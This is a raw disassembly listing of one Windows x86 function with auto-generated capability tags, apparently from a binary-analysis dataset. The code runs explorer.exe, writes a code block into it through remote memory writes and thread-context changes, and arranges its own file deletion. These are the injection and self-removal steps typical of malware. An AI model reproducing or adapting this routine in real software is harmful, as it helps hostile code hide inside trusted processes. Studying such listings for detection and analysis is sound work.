Function at 0x410bbf
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4635f5
mov eax, dword fs:[0]
push eax
mov eax, 0x10c4
call fcn.00444270
mov eax, dword [0x49e850]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1065]
mov esi, 0x47d68c
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x18], 0x484b70
call fcn.00402580
mov dword [ebp - 4], 1
mov edi, 0x104
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040fedb
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040fe80
push edi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1084]
call fcn.0040cf55
push ebx
push ebx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x40]
call fcn.004100c5
mov byte [ebp - 4], 3
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x1088], esp
push 1
lea eax, [ebp - 0x40]
push eax
call fcn.004345d3
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
call fcn.004562d0
add esp, 0x34
test al, al
jne 0x410cd2
cmp byte [ebp + 8], al
je 0x410ccb
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x1088], esp
push 1
lea eax, [ebp - 0x100]
push eax
call fcn.004345d3
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
call fcn.004562d0
add esp, 0x34
test al, al
jne 0x410cd2
mov bl, 1
jmp 0x4110c9
push ebx
lea eax, [ebp - 0x1065]
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x48], 0x484b70
call fcn.00402580
mov byte [ebp - 4], 9
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0x70]
call fcn.0040fedb
mov byte [ebp - 4], 0xa
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040fe80
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1084]
call fcn.0040cf55
cmp dword [ebp - 0x5c], 0
push 8
pop esi
je 0x410d41
cmp dword [ebp - 0x58], esi
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x40
lea eax, [ebp - 0x10cc]
push ebx
push eax
mov dword [ebp - 0x10d0], 0x44
call fcn.004423c0
add esp, 0xc
lea eax, [ebp - 0x1065]
push 1
push eax
push str.explorer.exe
lea ecx, [ebp - 0xa0]
call fcn.0040cbc2
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x70]
call fcn.00410b29
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa0]
call fcn.00401580
cmp dword [ebp - 0xb8], esi
lea eax, [ebp - 0xcc]
cmovae eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410e96
push ebx
lea eax, [ebp - 0x1065]
push eax
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x47d68c
mov dword [ebp - 0x78], 0x484b70
call fcn.00402580
mov byte [ebp - 4], 0x10
push edi
lea eax, [ebp - 0x1084]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040fedb
mov byte [ebp - 4], 0x11
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040fe80
push edi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1084]
call fcn.0040cf55
push 1
lea eax, [ebp - 0x1065]
push eax
push str.explorer.exe
lea ecx, [ebp - 0x130]
call fcn.0040cbc2
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebp - 0xa0]
call fcn.00410b29
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0xd0]
call fcn.0040cfc5
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x160]
call fcn.00401580
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x130]
call fcn.00401580
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xa0]
call fcn.00401580
lea ecx, [ebp - 0xd0]
call fcn.0040fe80
lea ecx, [ebp - 0x1078]
push ecx
lea ecx, [ebp - 0x10d0]
push ecx
push ebx
push ebx
push 0x44
push ebx
push ebx
push ebx
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4110ae
push 0xc31
lea eax, [ebp - 0x1060]
push ebx
push eax
mov dword [ebp - 0x1064], ebx
call fcn.004423c0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x85c], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x854], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x850], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x84c], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x848], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x840], al
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push 0x104
push eax
lea eax, [ebp - 0x83f]
push eax
mov dword [ebp - 0x858], edi
call fcn.0044429b
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x410f78
cmp dword [ebp - 0xe8], esi
lea eax, [ebp - 0xfc]
cmovae eax, dword [ebp - 0xfc]
push 0x104
push eax
lea eax, [ebp - 0x637]
push eax
call fcn.0044429b
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x860]
push eax
push dword [ebp - 0x1078]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x4112ea
mov ecx, 0x41124f
sub eax, ecx
cmp eax, 0x800
jbe 0x410fe4
push ebx
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1078]
call edi
push dword [ebp - 0x1074]
call edi
cmp dword [ebp - 0x28], 8
push 4
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x4110ac
push eax
push ecx
lea eax, [ebp - 0x1060]
push eax
call fcn.00442690
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push dword [ebp - 0x1074]
mov dword [ebp - 0x42c], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x368]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x1064], esi
lea eax, [esi - 4]
mov dword [ebp - 0x368], eax
lea eax, [esi + 4]
mov dword [ebp - 0x374], eax
lea eax, [ebp - 0x108c]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
mov ebx, 0xc35
push ebx
lea eax, [ebp - 0x1064]
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x42c]
push eax
push dword [ebp - 0x1074]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1074]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1074]
call edi
push dword [ebp - 0x1078]
call edi
mov bl, 1
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd0]
call fcn.00401580
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.00401580
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x100]
call fcn.00401580
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00401580
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004423a3
leave
ret